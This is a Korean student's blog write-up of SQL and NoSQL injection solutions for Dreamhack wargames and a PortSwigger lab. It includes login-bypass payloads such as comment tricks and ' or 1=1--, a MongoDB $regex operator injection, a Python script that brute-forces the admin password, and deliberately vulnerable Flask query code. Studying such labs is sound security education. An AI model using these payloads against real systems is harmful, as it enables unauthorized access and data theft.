6주차/SQL Injection 과제

gkdudans·2023년 11월 25일

EVI$ION/웹

목록 보기
9/11

1. 드림핵 | simple_sqli

취약점:

  • userid와 userpassword를 이용자에게 입력받을 때 검사하는 과정이 없음
  • RawQuery: 동적으로 생성한 쿼리 / 생성할 때 이용자의 입력값이 쿼리문에 포함되면 SQL Injection 취약점에 노출될 수 있음

문제 해결: admin이라는 결과가 반환되도록 쿼리문 조작

정답:

  • SELECT * FROM users WHERE userid="admin"-- " AND userpassword="DUMMY" 뒷내용 주석처리
  • SELECT * FROM users WHERE userid="admin" or "1" AND userpassword="DUMMY" OR 조건을 추가하여 뒷내용이 무엇이든 admin 반환
  • SELECT * FROM users WHERE userid="admin" AND userpassword="DUMMY" or userid="admin" userpassword 조건에 임의 값 입력
  • SELECT * FROM users WHERE userid="" or 1 LIMIT 1,1-- " AND userpassword="DUMMY" or 1을 추가하여 테이블의 모든 내용을 반환, LIMIT 이용

2. 드림핵 | Mango

취약점:

  • string 외에 다양한 형태의 object도 쿼리로 전달 가능함을 확인
  • 코드에서 MongoDB에 쿼리를 전달할 때, 쿼리 변수의 타입 검사를 하지 않음

문제 해결:

  • Blind NoSQL Injection Payload 생성: $regex연산 이용해 데이터 검색
    login?uid=guest&upw[$regex]=.*
  • fliter 우회: 임의 문자를 의미하는 .을 이용하여 우회
    login?uid[$regex]=ad.in&upw[$regex]=D.{*

정답: 여러 번 쿼리 전달

```sql
import requests, string
HOST = 'http://localhost'
ALPHANUMERIC = string.digits + string.ascii_letters
SUCCESS = 'admin'
flag = ''
for i in range(32):
    for ch in ALPHANUMERIC:
        response = requests.get(f'**{HOST}/login?uid[$regex]=ad.in&upw[$regex]=D.{{{flag}{ch}'**)
        if response.text == SUCCESS:
            flag += ch
            break
    print(f'FLAG: DH{{{flag}}}')
```

3. 드림핵 | simple_sqli_chatgpt

페이지 분석:

  • 특이하게 ID와 PW가 아닌 userlevel에 입력창이 존재
  • 로그인 버튼을 누를 수 있다.

코드 분석:

  • /login: admin 사용자, userlevel이 0일 때만 flag를 출력
@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    else:
        userlevel = request.form.get('userlevel')
        res = query_db(f"select * from users where userlevel='{userlevel}'")
        if res:
            userid = res[0]
            userlevel = res[2]
            print(userid, userlevel)
            if userid == 'admin' and userlevel == 0:
                return f'hello {userid} flag is {FLAG}'
            return f'<script>alert("hello {userid}");history.go(-1);</script>'
        return '<script>alert("wrong");history.go(-1);</script>'

취약점: 실제로 ChatGPT에 코드를 보여주고 취약점을 분석해 봤다. 공격자가 userlevel 변수에 SQL 쿼리를 삽입할 수 있다.
문제 해결:

  • GPT가 제시해준 문제 해결 방법을 시도해 본다. userlevel이 0이 된 것은 맞는데 userid가 admin이 아니기 때문에 “hello guset”라는 답변만 얻게 된다.
  • userid 역시 admin으로 설정해 SQL 쿼리를 보낸다.

정답:

  • "select * from users where userlevel='0' and userid=='admin'"
  • flag = DH{chatGPT_told_me_a_lullaby}

4. portswigger | Lab: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data

문제: 사용자가 데이터를 검색할 시에 다음과 같은 쿼리문으로 데이터가 전송된다고 한다: SELECT * FROM products WHERE category = 'Gifts' AND released = 1 SQL Injection을 통해 모든 데이터를 조작하는 쿼리로 조작해라.

문제 풀이:

  • 문제 페이지에 접속하면 검색 창은 보이지 않고 위와 같은 화면만 나타난다.
  • 개발자 도구를 열어서 다음과 같은 소스코드가 존재함을 확인하였다. category filter에 SQL injection 취약점이 존재한다고 한다.

    문제 해결:
  • 요청을 가로챈 후 버프스위터의 리피터로 보낸 결과는 다음과 같다. 무조건 참인 연산자를 넣어주면 모든 정보가 출력될 것이다.

정답: [https://0ae80050048d2bcb80f8cc5800dd001e.web-security-academy.net/filter?category=Clothing%2C+shoes+and+accessories' or 1=1--]

  • category 파라미터에 ' or 1=1 --를 삽입하면 모든 데이터가 출력된다.
profile
https://github.com/gkdudans

0개의 댓글